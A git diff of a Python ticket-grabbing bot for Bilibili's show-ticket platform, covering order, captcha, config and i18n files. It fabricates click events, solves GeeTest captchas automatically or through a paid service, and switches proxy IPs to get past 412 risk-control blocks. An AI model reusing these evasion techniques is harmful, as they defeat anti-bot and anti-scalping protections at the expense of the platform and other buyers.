Policy](https://sentry.io/privacy/)。脚本将在必要时上传错误信息及运行环境信息。脚本将记录程序运行重要节点并保存追踪数据至少72小时。 + +## Star History + + + + + + Star History Chart + + diff --git a/api.py b/api.py new file mode 100644 index 0000000..87b792b --- /dev/null +++ b/api.py @@ -0,0 +1,623 @@ +import json +import random +import time +import urllib.parse +import hashlib +import hmac + +import qrcode +import requests +from loguru import logger + +from i18n import * + +from utils import save, load +from globals import * + +class BilibiliHyg: + global sdk + def __init__(self, config, sdk,client,session): + self.waited = False + self.sdk = sdk + self.config = config + self.config["gaia_vtoken"] = None + self.session = requests.Session() + if "user-agent" in self.config: + self.headers = { + "User-Agent": self.config["user-agent"], + } + else: + self.headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)", + } + + self.headers["Cookie"] = self.config["cookie"] + if self.config["proxy"]: + if self.config["proxy_channel"] != "0": + self.headers["kdl-tps-channel"] = config["proxy_channel"] + + self.client = client + self.session = session + if self.client != None: + self.ip = self.client.tps_current_ip(sign_type="hmacsha1") + if self.config["mode"] == 'time': + logger.info(i18n_gt()["now_mode_time_on"]) + logger.info(i18n_gt()["wait_get_token"]) + while self.get_time() < self.config["time"]-15: + time.sleep(10) + logger.info(i18n_gt()["now_waiting_info"].format((self.config["time"]-self.get_time()))) + while self.get_time() < self.config["time"]: + pass + logger.info(i18n_gt()["get_token_finish"]) + self.token = self.get_token() + logger.info(i18n_gt()["will_pay_bill"]) + + def get_time(self): + return float(time.time() + self.config["time_offset"]) + + def get_ticket_status(self): + url = ( + "https://show.bilibili.com/api/ticket/project/getV2?version=134&id=" + + self.config["project_id"] + ) + try: + response = self.session.get(url, headers=self.headers, timeout=1) + except ( + requests.exceptions.Timeout, + requests.exceptions.ReadTimeout, + requests.exceptions.ConnectionError, + ): + logger.error(i18n_gt()["network_timeout"]) + if self.config["proxy"]: + if self.ip == self.client.tps_current_ip(sign_type="hmacsha1"): + logger.info( + i18n_gt()["manual_change_ip"].format( + self.client.change_tps_ip(sign_type="hmacsha1") + ) + ) + self.session.close() + return self.get_ticket_status() + return -1, 0 + try: + if response.status_code == 412: + logger.error(i18n_gt()["wind_control"]) + if self.config["proxy"]: + if self.ip == self.client.tps_current_ip(sign_type="hmacsha1"): + logger.info( + i18n_gt()["manual_change_ip"].format( + self.client.change_tps_ip(sign_type="hmacsha1") + ) + ) + self.session.close() + return self.get_ticket_status() + else: + self.risk = True + logger.error(i18n_gt()["net_method"]) + input(i18n_gt()["res_3_returns"]) + input(i18n_gt()["res_2_returns"]) + input(i18n_gt()["res_1_return"]) + return -1, 0 + screens = response.json()["data"]["screen_list"] + # 找到 字段id为screen_id的screen + screen = {} + for i in range(len(screens)): + if screens[i]["id"] == int(self.config["screen_id"]): + screen = screens[i] + break + if screen == {}: + logger.error(i18n_gt()["no_found_screen"]) + return -1, 0 + # 找到 字段id为sku_id的sku + skus = screen["ticket_list"] + sku = {} + for i in range(len(skus)): + if skus[i]["id"] == int(self.config["sku_id"]): + sku = skus[i] + break + if sku == {}: + logger.error(i18n_gt()["no_found_sku"]) + return -1, 0 + return int(sku["sale_flag_number"]), sku["clickable"] + except: + logger.error(i18n_gt()["may_wind_control"]) + return -1, 0 + + def get_prepare(self): + url = ( + "https://show.bilibili.com/api/ticket/order/prepare?project_id=" + + self.config["project_id"] + ) + if self.config["gaia_vtoken"]: + url += "&gaia_vtoken=" + self.config["gaia_vtoken"] + data = { + "project_id": self.config["project_id"], + "screen_id": self.config["screen_id"], + "order_type": self.config["order_type"], + "count": self.config["count"], + "sku_id": self.config["sku_id"], + "token": "", + "newRisk": "true", + "requestSource": "neul-next", + } + if "act_id" in self.config: + data["act_id"] = self.config["act_id"] + response = self.session.post(url, headers=self.headers, data=data) + if response.status_code == 412: + logger.error(i18n_gt()["not_handled_412"]) + if self.config["proxy"]: + if self.ip == self.client.tps_current_ip(sign_type="hmacsha1"): + logger.info( + i18n_gt()["manual_change_ip"].format( + self.client.change_tps_ip(sign_type="hmacsha1") + ) + ) + self.session.close() + return self.get_prepare() + if response.json()["errno"] != 0 and response.json()["errno"] != -401: + logger.error(response.json()["msg"]) + return response.json()["data"] + + def gee_verify(self, gt, challenge, token): + from geetest import run + time_start = time.time() + self.captcha_data = run(gt, challenge, token, mode = self.config["captcha"], key = self.config["rrocr"]) + delta = time.time() - time_start + self.sdk.metrics.distribution( + key="gt_solve_time", + value=delta*1000, + unit="millisecond" + ) + self.captcha_data["csrf"] = self.headers["Cookie"][ + self.headers["Cookie"].index("bili_jct") + + 9 : self.headers["Cookie"].index("bili_jct") + + 41 + ] + self.captcha_data["token"] = token + success = self.session.post( + "https://api.bilibili.com/x/gaia-vgate/v1/validate", + headers=self.headers, + data=self.captcha_data, + ).json()["data"]["is_valid"] + self.config["gaia_vtoken"] = token + self.captcha_data = None + if self.headers["Cookie"].find("x-bili-gaia-vtoken") != -1: + self.headers["Cookie"] = self.headers["Cookie"].split( + "; x-bili-gaia-vtoken" + )[0] + self.headers["Cookie"] += "; x-bili-gaia-vtoken=" + token + save(self.config) + return success + + def phone_verify(self, token): + if "phone" in self.config: + phone = self.config["phone"] + else: + phone = input(i18n_gt()["input_phone_num"]+": ") + self.captcha_data = { + "code": phone, + } + self.captcha_data["csrf"] = self.headers["Cookie"][ + self.headers["Cookie"].index("bili_jct") + + 9 : self.headers["Cookie"].index("bili_jct") + + 41 + ] + self.captcha_data["token"] = token + success = self.session.post( + "https://api.bilibili.com/x/gaia-vgate/v1/validate", + headers=self.headers, + data=self.captcha_data, + ).json()["data"]["is_valid"] + if not success: + logger.error(i18n_gt()["input_verify_fail"]) + if "phone" in self.config: + self.config.pop("phone") + return False + self.config["gaia_vtoken"] = token + self.captcha_data = None + if self.headers["Cookie"].find("x-bili-gaia-vtoken") != -1: + self.headers["Cookie"] = self.headers["Cookie"].split( + "; x-bili-gaia-vtoken" + )[0] + self.headers["Cookie"] += "; x-bili-gaia-vtoken=" + token + save(self.config) + return success + + def confirm_info(self, token): + url = ( + "https://show.bilibili.com/api/ticket/order/confirmInfo?token=" + + token + + "×tamp=" + + str(int(time.time() * 1000)) + + "&project_id=" + + self.config["project_id"] + + "&requestSource=neul-next" + ) + response = self.session.get(url, headers=self.headers) + if response.status_code == 412: + logger.error(i18n_gt()["not_handled_412"]) + if self.config["proxy"]: + if self.ip == self.client.tps_current_ip(sign_type="hmacsha1"): + logger.info( + i18n_gt()["manual_change_ip"].format( + self.client.change_tps_ip(sign_type="hmacsha1") + ) + ) + self.session.close() + return self.confirm_info(token) + response = response.json() + logger.info(i18n_gt()["info_confirmed"]) + logger.debug(response) + self.config["order_type"] = response["data"]["order_type"] + if response["data"]["act"] is not None: + logger.info(i18n_gt()["info_discount"]) + self.config["act_id"] = response["data"]["act"]["act_id"] + return + + def get_token(self): + info = self.get_prepare() + if info == {}: + logger.warning(i18n_gt()["info_no_ticket"]) + time.sleep(1) + return self.get_token() + if info["token"]: + logger.success( + i18n_gt()["info_bill_ok"] + + "https://show.bilibili.com/platform/confirmOrder.html?token=" + + info["token"] + ) + self.sdk.add_breadcrumb( + category="prepare", + message=f'Order prepared as token:{info["token"]}', + level="info", + ) + try: + self.confirm_info(info["token"]) + except: + logger.error(i18n_gt()["info_bill_fail"]) + return self.get_token() + return info["token"] + else: + logger.warning(i18n_gt()["info_wind_control"]) + self.sdk.add_breadcrumb( + category="gaia", + message="Gaia found", + level="info", + ) + riskParam = info["ga_data"]["riskParams"] + # https://api.bilibili.com/x/gaia-vgate/v1/register + risk = self.session.post( + "https://api.bilibili.com/x/gaia-vgate/v1/register", + headers=self.headers, + data=riskParam, + ).json() + while risk["code"] != 0: + risk = self.session.post( + "https://api.bilibili.com/x/gaia-vgate/v1/register", + headers=self.headers, + data=riskParam, + ).json() + if risk["data"]["type"] == "geetest": + logger.warning(i18n_gt()["type_captcha"]) + gt, challenge, token = ( + risk["data"]["geetest"]["gt"], + risk["data"]["geetest"]["challenge"], + risk["data"]["token"], + ) + cap_data = self.gee_verify(gt, challenge, token) + while cap_data == False: + logger.error(i18n_gt()["input_verify_fail"]) + return self.get_token() + logger.info(i18n_gt()["input_verify_success"]) + elif risk["data"]["type"] == "phone": + logger.warning(i18n_gt()["type_mobile"]) + token = risk["data"]["token"] + cap_data = self.phone_verify(token) + while cap_data == False: + logger.error(i18n_gt()["input_verify_fail"]) + return self.get_token() + elif risk["data"]["type"] == "sms": + logger.warning(i18n_gt()["type_sms"]) + logger.warning(i18n_gt()["unsupport_sms"]) + elif risk["data"]["type"] == "biliword": + logger.warning(i18n_gt()["type_sms"]) + logger.warning(i18n_gt()["unsupport_text"]) + else: + logger.error(i18n_gt()["unknown_wind"]) + logger.warning(i18n_gt()["unsupport_captcha"]) + self.sdk.add_breadcrumb( + category="gaia", + message="Gaia passed", + level="info", + ) + return self.get_token() + + def generate_clickPosition(self) -> dict: + """ + 生成虚假的点击事件 + + Returns: + dict: 点击坐标和时间 + """ + # 生成随机的 x 和 y 坐标,以下范围大概是1920x1080屏幕下可能的坐标 + x = random.randint(1320, 1330) + y = random.randint(880, 890) + # 生成随机的起始时间和结束时间(或当前时间) + now_timestamp = int(time.time() * 1000) + # 添加一些随机时间差 (5s ~ 10s) + origin_timestamp = now_timestamp - random.randint(5000, 10000) + return {"x": x, "y": y, "origin": origin_timestamp, "now": now_timestamp} + + def create_order(self): + url = "https://show.bilibili.com/api/ticket/order/createV2" + data = { + "project_id": self.config["project_id"], + "screen_id": self.config["screen_id"], + "sku_id": self.config["sku_id"], + "token": self.token, + "deviceId": "", + "project_id": self.config["project_id"], + "pay_money": self.config["all_price"], + "count": self.config["count"], + "timestamp": int(time.time() + 5), + "order_type": self.config["order_type"], + "newRisk": "true", + "requestSource": "neul-next", + "clickPosition": self.generate_clickPosition(), + } + if self.config["id_bind"] == 0: + data["buyer"] = self.config["buyer"] + data["tel"] = self.config["tel"] + else: + data["buyer_info"] = self.config["buyer_info"] + if self.config["is_paper_ticket"]: + data["deliver_info"] = self.config["deliver_info"] + if "act_id" in self.config: + data["act_id"] = self.config["act_id"] + data["again"] = 1 + + try: + response = self.session.post(url, headers=self.headers, data=data) + except ( + requests.exceptions.Timeout, + requests.exceptions.ReadTimeout, + requests.exceptions.ConnectionError, + ): + logger.error(i18n_gt()["network_timeout"]) + if self.config["proxy"]: + if self.ip == self.client.tps_current_ip(sign_type="hmacsha1"): + logger.info( + i18n_gt()["manual_change_ip"].format( + self.client.change_tps_ip(sign_type="hmacsha1") + ) + ) + self.session.close() + return self.create_order() + if response.status_code == 412: + logger.error(i18n_gt()["wind_control"]) + logger.info(response.text) + if self.config["proxy"]: + if self.ip == self.client.tps_current_ip(sign_type="hmacsha1"): + logger.info( + i18n_gt()["manual_change_ip"].format( + self.client.change_tps_ip(sign_type="hmacsha1") + ) + ) + self.session.close() + return self.create_order() + else: + self.risk = True + logger.error(i18n_gt()["pause_60s"]) + time.sleep(60) + return {} + return response.json() + + def fake_ticket(self, pay_token, order_id = None): + url = ( + "https://show.bilibili.com/api/ticket/order/createstatus?project_id=" + + self.config["project_id"] + + "&token=" + + pay_token + + "×tamp=" + + str(int(time.time() * 1000)) + ) + if order_id: + url += "&orderId=" + str(order_id) + logger.debug(url) + response = self.session.get(url, headers=self.headers) + if response.status_code == 412: + logger.error(i18n_gt()["not_handled_412"]) + if self.config["proxy"]: + if self.ip == self.client.tps_current_ip(sign_type="hmacsha1"): + logger.info( + i18n_gt()["manual_change_ip"].format( + self.client.change_tps_ip(sign_type="hmacsha1") + ) + ) + self.session.close() + response = response.json() + logger.debug(response) + if response["errno"] == 0: + self.sdk.add_breadcrumb( + category="success", + message=f'Success, orderid:{response["data"]["order_id"]}, payurl:https://pay.bilibili.com/payplatform-h5/pccashier.html?params="{urllib.parse.quote(json.dumps(response["data"]["payParam"], ensure_ascii=False))}', + level="info", + ) + logger.success(i18n_gt()["pay_success"]) + order_id = response["data"]["order_id"] + pay_url = response["data"]["payParam"]["code_url"] + response["data"]["payParam"].pop("code_url") + response["data"]["payParam"].pop("expire_time") + response["data"]["payParam"].pop("pay_type") + response["data"]["payParam"].pop("use_huabei") + logger.info(i18n_gt()["bill_serial"] + order_id) + self.order_id = order_id + logger.info(i18n_gt()["bill_pay_hint"]) + logger.info(i18n_gt()["bill_qr"] + pay_url) + qr = qrcode.QRCode() + qr.add_data(pay_url) + qr.print_ascii(invert=True) + img = qr.make_image() + img.show() + logger.info( + i18n_gt()["bill_open"] + " https://pay.bilibili.com/payplatform-h5/pccashier.html?params=" + + urllib.parse.quote( + json.dumps(response["data"]["payParam"], ensure_ascii=False) + ) + + " " + i18n_gt()["bill_pay_ok"] + ) + logger.info(i18n_gt()["bill_manual"]) + return True + else: + logger.error(i18n_gt()["bill_fail"]) + return False + + def order_status(self, order_id): + url = "https://show.bilibili.com/api/ticket/order/info?order_id=" + str(order_id) + response = self.session.get(url, headers=self.headers) + if response.status_code == 412: + logger.error(i18n_gt()["not_handled_412"]) + if self.config["proxy"]: + if self.ip == self.client.tps_current_ip(sign_type="hmacsha1"): + logger.info( + i18n_gt()["manual_change_ip"].format( + self.client.change_tps_ip(sign_type="hmacsha1") + ) + ) + self.session.close() + response = response.json() + if response["data"]["status"] == 1: + return True + elif response["data"]["status"] == 2: + logger.success(i18n_gt()["pay_ok"]) + return False + elif response["data"]["status"] == 4: + logger.warning(i18n_gt()["bill_cancel"]) + return False + else: + logger.warning( + i18n_gt()["status_unknown"] + ": " + + response["data"]["status_name"] + + response["data"]["sub_status_name"] + ) + return False + + def logout(self): + #https://passport.bilibili.com/login/exit/v2 + url = "https://passport.bilibili.com/login/exit/v2" + # biliCSRF str CSRF Token (位于 cookie 中的 bili_jct) + response = self.session.post(url, headers=self.headers, data={ + "biliCSRF": self.headers["Cookie"][self.headers["Cookie"].index("bili_jct") + 9 : self.headers["Cookie"].index("bili_jct") + 41] + }).json() + if response["status"] == True: + logger.success(i18n_gt()["quit_login"]) + else: + logger.error(i18n_gt()["logout_fail"]) + + def try_create_order(self): + if not self.waited: + logger.info(i18n_gt()["wait_4_96s"]) + time.sleep(4.96) + self.waited = True + result = self.create_order() + if result == {}: + return False + if result["errno"] == 100009: + logger.warning(i18n_gt()["ticketless"]) + self.waited = False + elif result["errno"] == 100017: + logger.warning(i18n_gt()["ticket_unbuyable"]) + self.waited = False + elif result["errno"] == 3: + logger.warning(i18n_gt()["slowdown_5s"]) + elif result["errno"] == 100001: + logger.warning(i18n_gt()["bili_speed_limit"]) + elif result["errno"] == 100041: + logger.warning(i18n_gt()["tokenless"]) + elif result["errno"] == 100016: + logger.error(i18n_gt()["not_salable"]) + elif result["errno"] == 0: + logger.success(i18n_gt()["bill_push_ok"]) + pay_token = result["data"]["token"] + orderid = None + if "orderId" in result["data"]: + orderid = result["data"]["orderId"] + if self.fake_ticket(pay_token, order_id = orderid): + # self.logout() + if "pushplus" in self.config: + # https://www.pushplus.plus/send/ + url = "https://www.pushplus.plus/send" + response = requests.post(url, json={ + "token": self.config["pushplus"], + "title": i18n_gt()["BHYG_notify"], + "content": i18n_gt()["rob_ok_paying"]+self.order_id, + }).json() + if response["code"] == 200: + logger.success(i18n_gt()["notify_ok"]+" "+response['data']) + else: + logger.error(i18n_gt()["notify_fail"]+" "+response) + if "webhook" in self.config: + url = self.config["webhook"] + response = requests.post(url, json={ + "msg_type": "text", + "text": { + "content": i18n_gt()["rob_ok_paying"]+self.order_id, + } + }).json() + if response["code"] == 200: + logger.success(i18n_gt()["notify_ok"]+" "+response['data']) + else: + logger.error(i18n_gt()["notify_fail"]+" "+response) + if "hunter" in self.config: + return True + logger.info(i18n_gt()["unpaid_bill"]) + while self.order_status(self.order_id): + time.sleep(1) + self.sdk.capture_message("Exit by in-app exit") + return True + else: + logger.error(i18n_gt()["fake_ticket"]) + elif result["errno"] == 100051: + self.token = self.get_token() + elif result["errno"] == 100079 or result["errno"] == 100048: + logger.info(result["msg"]) + logger.success(i18n_gt()["rob_already_ok"]) + self.sdk.capture_message("Exit by in-app exit") + return True + elif result["errno"] == 219: + logger.info(i18n_gt()["ticket_sto_less"]) + else: + logger.error(i18n_gt()["unknown_error"] + str(result)) + return False + + @staticmethod + def gen_bili_ticket(): + + def hmac_sha256(key, message): + """ + 使用HMAC-SHA256算法对给定的消息进行加密 + :param key: 密钥 + :param message: 要加密的消息 + :return: 加密后的哈希值 + """ + key = key.encode("utf-8") + message = message.encode("utf-8") + hmac_obj = hmac.new(key, message, hashlib.sha256) + hash_value = hmac_obj.digest() + hash_hex = hash_value.hex() + return hash_hex + + o = hmac_sha256("XgwSnGZ1p", f"ts{int(time.time())}") + url = "https://api.bilibili.com/bapis/bilibili.api.ticket.v1.Ticket/GenWebTicket" + params = { + "key_id": "ec02", + "hexsign": o, + "context[ts]": f"{int(time.time())}", + "csrf": "", + } + + import random + headers = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/618.1.15.10.15 (KHTML, like Gecko) Mobile/21F90 BiliApp/77900100 os/ios model/iPhone 15 mobi_app/iphone build/77900100 osVer/17.5.1 network/2 channel/AppStore c_locale/zh-Hans_CN s_locale/zh-Hans_CH disable_rcmd/0 "+str(random.randint(0, 9999)), + } + resp = requests.post(url, params=params, headers=headers).json() + return resp["data"]["ticket"] diff --git a/geetest.py b/geetest.py new file mode 100644 index 0000000..182a302 --- /dev/null +++ b/geetest.py @@ -0,0 +1,107 @@ +# Copyright (c) 2023-2024 ZianTT, FriendshipEnder +import json +import time + +import requests + + +from loguru import logger + +from globals import * +# REF: https://github.com/mikumifa/biliTickerBuy +# REF: https://github.com/Amorter/biliTicker_gt +# LICENSE: GPL-3.0 + + + +def run(gt, challenge, token, mode="local_gt", key=None): + if mode == "local_gt": + import bili_ticket_gt_python + try: + validator = Validator() + validate_string = validator.validate(gt, challenge) + data = { + "success": True, + "challenge": challenge, + "validate": validate_string, + "seccode": validate_string, + } + + return data + except Exception as e: + print(f"Error: {e}") + elif mode == "rrocr": + # http://api.rrocr.com/api/recognize.html + param = { + "appkey": key, + "gt": gt, + "challenge": challenge, + "referer": "https://show.bilibili.com", + } + try: + response = requests.post("http://api.rrocr.com/api/recognize.html", data=param).json() + except Exception as e: + print(f"Error: {e}") + return + if response["status"] == 0: + data = { + "success": True, + "challenge": response["data"]["challenge"], + "validate": response["data"]["validate"], + "seccode": response["data"]["validate"], + } + return data + else: + print(f"Error: {response['msg']}") + elif mode == "manual": + print("请手动完成验证码") + print(gt + " " + challenge) + import pyperclip + try: + pyperclip.copy(gt + " " + challenge) + except pyperclip.PyperclipException: + print("请手动复制。若您为linux,请运行`sudo apt-get install xclip`") + validate = input("请输入验证码:") + data = { + "success": True, + "challenge": challenge, + "validate": validate, + "seccode": validate, + } + return data + else: + + logger.critical("暂不支持该验证码模式") + + + +class Validator(): + import bili_ticket_gt_python + def __init__(self): + import bili_ticket_gt_python + self.click = bili_ticket_gt_python.ClickPy() + pass + + def validate(self, gt, challenge) -> str: + try: + validate = self.click.simple_match_retry(gt, challenge) + return validate + except Exception as e: + return "" + + +if __name__ == "__main__": + import random + captcha = requests.get( + "https://passport.bilibili.com/x/passport-login/captcha", headers={ + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/618.1.15.10.15 (KHTML, like Gecko) Mobile/21F90 BiliApp/77900100 os/ios model/iPhone 15 mobi_app/iphone build/77900100 osVer/17.5.1 network/2 channel/AppStore c_locale/zh-Hans_CN s_locale/zh-Hans_CH disable_rcmd/0 "+str(random.randint(0, 9999)), + } + ).json() + gt = captcha["data"]["geetest"]["gt"] + challenge = captcha["data"]["geetest"]["challenge"] + token = captcha["data"]["token"] + # validate = run(gt, challenge, token) + start_time = time.time() + validate = run(gt, challenge, token, mode="manual") + print(f"Time: {time.time() - start_time}") + print(validate) diff --git a/globals.py b/globals.py new file mode 100644 index 0000000..82f47d3 --- /dev/null +++ b/globals.py @@ -0,0 +1,277 @@ +# -*- coding: UTF-8 -*- +# Contains global variables +# Copyright (c) 2023-2024 ZianTT, FriendshipEnder + +import sys +import os +import json + +import inquirer + +import sentry_sdk +from loguru import logger +from sentry_sdk.integrations.loguru import LoggingLevels, LoguruIntegration + +from login import * + +from utility import utility + +from utils import prompt, save, load + +import time +from i18n import * + +version = "v0.8.5" + +def agree_terms(): + while True: + agree_prompt = input( + i18n_gt()["eula"]) + if "同意" in agree_prompt and "死妈" in agree_prompt and "黄牛" in agree_prompt and "不" not in agree_prompt: + break + else: + logger.error(i18n_gt()["wrong_input"]) + with open("agree-terms", "w") as f: + import machineid + f.write(machineid.id()) + logger.info(i18n_gt()["agree_eula"]) + +def init(): + + logger.remove(handler_id=0) + if sys.argv[0].endswith(".py"): + level = "DEBUG" + format = "DEBUG MODE | {time:HH:mm:ss.SSS} | {level: <8} | {message}" + environment = "development" + print("WARNING: YOU ARE IN DEBUG MODE") + else: + level = "INFO" + format = "{time:HH:mm:ss.SSS} | {level: <8} | {message}" + environment = "production" + handler_id = logger.add( + sys.stderr, + format=format, + level=level, # NOTE: logger level + ) + + if not os.path.exists("agree-terms"): + agree_terms() + else: + with open("agree-terms", "r") as f: + hwid = f.read() + import machineid + if hwid != machineid.id(): + agree_terms() + with open("agree-terms", "w") as f: + f.write(machineid.id()) + + sentry_sdk.init( + dsn="https://9c5cab8462254a2e1e6ea76ffb8a5e3d@sentry-inc.bitf1a5h.eu.org/3", + release=version, + profiles_sample_rate=1.0, + enable_tracing=True, + integrations=[ + LoguruIntegration( + level=LoggingLevels.DEBUG.value, event_level=LoggingLevels.CRITICAL.value + ), + ], + sample_rate=1.0, + environment=environment + ) + with sentry_sdk.configure_scope() as scope: + scope.add_attachment(path="data") + + import machineid + sentry_sdk.set_user({"hwid": machineid.id()[:16]}) + return version, sentry_sdk + +class HygException(Exception): + pass + + +def load_config(): + go_utility = False + if os.path.exists("config.json"): + logger.info(i18n_gt()["welcome_new_version"]) + if os.path.isdir("data"): + import shutil + shutil.rmtree("data") + with open("config.json", "r", encoding="utf-8") as f: + config = json.load(f) + save(config) + os.remove("config.json") + logger.info(i18n_gt()["new_version_ok"]) + if os.path.exists("share.json"): + logger.info(i18n_gt()["check_share"]) + with open("share.json", "r", encoding="utf-8") as f: + config = json.load(f) + save(config) + os.remove("share.json") + if os.path.isdir("data"): + import shutil + shutil.rmtree("data") + if os.path.exists("data"): + run_info = prompt([ + inquirer.List( + "run_info", + message=i18n_gt()["select_setting"], + choices=[i18n_gt()["select_keep_all"], + i18n_gt()["select_keep_login"], + i18n_gt()["select_new_boot"], + i18n_gt()["select_tools"], + i18n_gt()["select_tools_relogin"], + i18n_gt()["select_reset"], + "语言设置/Language setting"], + default= i18n_gt()["select_keep_all"] + )] + )["run_info"] + if run_info == i18n_gt()["select_new_boot"]: + logger.info(i18n_gt()["select_new_boot_msg"]) + temp = load() + config = {} + if "pushplus" in temp: + config["pushplus"] = temp["pushplus"] + if "webhook" in temp: + config["webhook"] = temp["webhook"] + if "ua" in temp: + config["ua"] = temp["pushplus"] + if "captcha" in temp: + config["captcha"] = temp["captcha"] + if "rrocr" in temp: + config["rrocr"] = temp["rrocr"] + if "proxy" in temp: + config["proxy"] = temp["proxy"] + if "proxy_auth" in temp: + config["proxy_auth"] = temp["proxy_auth"] + if "proxy_channel" in temp: + config["proxy_channel"] = temp["proxy_channel"] + use_login = False + elif run_info == i18n_gt()["select_keep_login"]: + logger.info(i18n_gt()["select_keep_login_msg"]) + temp = load() + config = {} + if "gaia_vtoken" in temp: + config["gaia_vtoken"] = temp["gaia_vtoken"] + if "ua" in temp: + config["ua"] = temp["ua"] + if "cookie" in temp: + config["cookie"] = temp["cookie"] + if "pushplus" in temp: + config["pushplus"] = temp["pushplus"] + if "webhook" in temp: + config["webhook"] = temp["webhook"] + if "phone" in temp: + config["phone"] = temp["phone"] + if "captcha" in temp: + config["captcha"] = temp["captcha"] + if "rrocr" in temp: + config["rrocr"] = temp["rrocr"] + if "proxy" in temp: + config["proxy"] = temp["proxy"] + if "proxy_auth" in temp: + config["proxy_auth"] = temp["proxy_auth"] + if "proxy_channel" in temp: + config["proxy_channel"] = temp["proxy_channel"] + use_login = True + elif run_info == i18n_gt()["select_keep_all"]: + logger.info(i18n_gt()["select_keep_all_msg"]) + config = load() + use_login = True + elif run_info == i18n_gt()["select_tools"]: + logger.info(i18n_gt()["select_tools"]) + go_utility = True + use_login = True + config = load() + elif run_info == i18n_gt()["select_tools_relogin"]: + logger.info(i18n_gt()["select_tools_relogin"]) + go_utility = True + use_login = False + config = {} + elif run_info == i18n_gt()["select_reset"]: + choice = prompt([inquirer.List("again", message=i18n_gt()["select_reset_msg"], + choices=[i18n_gt()["no"], i18n_gt()["yes"]], default=i18n_gt()["no"])])[ + "again"] + if choice == i18n_gt()["yes"]: + os.remove("language") + os.remove("data") + os.remove("agree-terms") + config = {} + logger.info(i18n_gt()["select_reset_ok"]) + else: + logger.info(i18n_gt()["select_reset_cancel"]) + return + elif run_info == "语言设置/Language setting": + set_language(True) + config = load() + go_utility = True + use_login = True + else: + save({}) + config = {} + import ntplib + c = ntplib.NTPClient() + ntp_servers = ( + "ntp.ntsc.ac.cn", #//Zhejiang ping: 27.75 ms + "time.pool.aliyun.com", #//Zhejiang ping: 32.5 ms + "time1.cloud.tencent.com", #//Zhejiang ping: 35 ms + "asia.pool.ntp.org", #//Zhejiang ping: 37 ms + "edu.ntp.org.cn", #//Zhejiang ping: 41 ms + "cn.ntp.org.cn", #//Zhejiang ping: 41 ms | ipv6 | 有时候抽风 + "cn.pool.ntp.org", #//Zhejiang ping: 50 ms | 有时候抽风 + "ntp.tuna.tsinghua.edu.cn", #//Zhejiang ping: 55 ms | ipv6 + "time.asia.apple.com", #//Zhejiang ping: 78.75 ms + "time.windows.com", #//Zhejiang ping: 89 ms + ) + skip = 0 + for i in range(10): + try: + response = c.request(ntp_servers[i], timeout=1) + except Exception: + skip += 1 + else: + break + if skip >= 10: + logger.error(i18n_gt()["time_sync_fail"]) + config["time_offset"] = 0 + else: + time_offset = response.offset + if time_offset > 0.5: + logger.warning(i18n_gt()["time_sync_delta"].format(time_offset)) + config["time_offset"] = time_offset + while True: + if "cookie" not in config or not use_login: + config["cookie"] = interactive_login(sentry_sdk) + import random + headers = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/618.1.15.10.15 (KHTML, like Gecko) Mobile/21F90 BiliApp/77900100 os/ios model/iPhone 15 mobi_app/iphone build/77900100 osVer/17.5.1 network/2 channel/AppStore c_locale/zh-Hans_CN s_locale/zh-Hans_CH disable_rcmd/0 "+str(random.randint(0, 9999)), + "Cookie": config["cookie"], + } + user = requests.get( + "https://api.bilibili.com/x/web-interface/nav", headers=headers + ) + user = user.json() + if user["data"]["isLogin"]: + logger.success(i18n_gt()["user"] +' '+ user["data"]["uname"] +' '+ i18n_gt()["login_success"]) + if user["data"]["vipStatus"] != 0: + logger.info(i18n_gt()["user_bigvip"].format((user['data']['vipDueDate'] / 1000 - time.time()) / 60 / 60 / 24)) + import machineid + sentry_sdk.set_user( + { + "username": user["data"]["mid"], + "hwid": machineid.id()[:16] + } + ) + if "hunter" in config: + logger.success(i18n_gt()["hunter_mode"]) + logger.info(i18n_gt()["hunter_grade"].format(config['hunter'])) + save(config) + break + else: + logger.error(i18n_gt()["login_failure"]) + use_login = False + config.pop("cookie") + save(config) + if go_utility: + utility(config) + return load_config() + return config diff --git a/i18n.py b/i18n.py new file mode 100644 index 0000000..26cea95 --- /dev/null +++ b/i18n.py @@ -0,0 +1,758 @@ +# Copyright (c) 2023-2024 ZianTT, FriendshipEnder +i18n_lang = "NaN" + +i18n_tuple = ("中文", "English", "中文(猫娘)") + +i18n = { + i18n_tuple[0]: { + "data_error": "数据错误,运行环境不符", + "migrate_share": "检测到分享文件,正在迁移", + "has_destroyed": "已销毁原数据", + "pay_success": "购票成功!", + "hunter_prompt": "猎手,你的战绩:{}张", + "choose_mode": "请选择抢票模式", + "start_up": "项目主页: https://github.com/biliticket/BHYG GPL-3.0 删除本信息或盗版必究。", + "mode_time": "根据项目开票时间定时抢票", + "mode_direct": "直接抢票", + "mode_detect": "检测详情界面余票后抢票", + "mode_time_on": "定时抢票已开启", + "mode_direct_on": "直接抢票已开启", + "mode_detect_on": "检测详情界面余票后抢票已开启", + "input_status_delay": "请输入票务信息检测时间间隔(该选项影响412风控概率)(秒)", + "input_is_use_proxy": "是否使用代理", + "input_proxy": "请输入代理认证信息", + "input_proxy_channel": "请输入代理通道(0则不指定)", + "test_proxy": "尝试访问B站,当前IP为:{}", + "common_project_id": "常用项目id如下:", + "empty": "暂无", + "input_project_id": "请输入项目id", + "not_handled_412": "被412风控,请联系作者", + "manual_change_ip": "手动切换,当前IP为:{}", + "project_id_not_found": "未找到项目ID", + "server_no_response": "服务器无返回", + "not_salable": "项目不可售", + "project_name": "项目名称:{}", + "captcha_mode_not_supported": "暂不支持该验证码模式", + "input_use_captcha_mode": "请选择验证码模式", + "local_gt": "本地GeeTest模块", + "rrocr": "RROCR", + "manual": "手动", + "no_proxy_by_default": "默认不使用代理", + "captcha_mode_gt_by_default": "默认使用本地GeeTest模块", + "wrong_proxy_format": "输入格式错误,请重新输入", + "no_screen": "暂无票档信息", + "yes": "是", + "no": "否", + "select_screen": "请选择场次", + "select_sku": "请选择票档", + "show_screen": "场次:{}", + "show_sku": "票档:{}", + "show_act": "已开启优惠活动:活动ID {}", + "buyer_empty": "未找到购票人,请前往添加实名购票人", + "select_buyer": "请选择购票人 (按空格键选购票人, 回车确认)", + "selected_buyer": 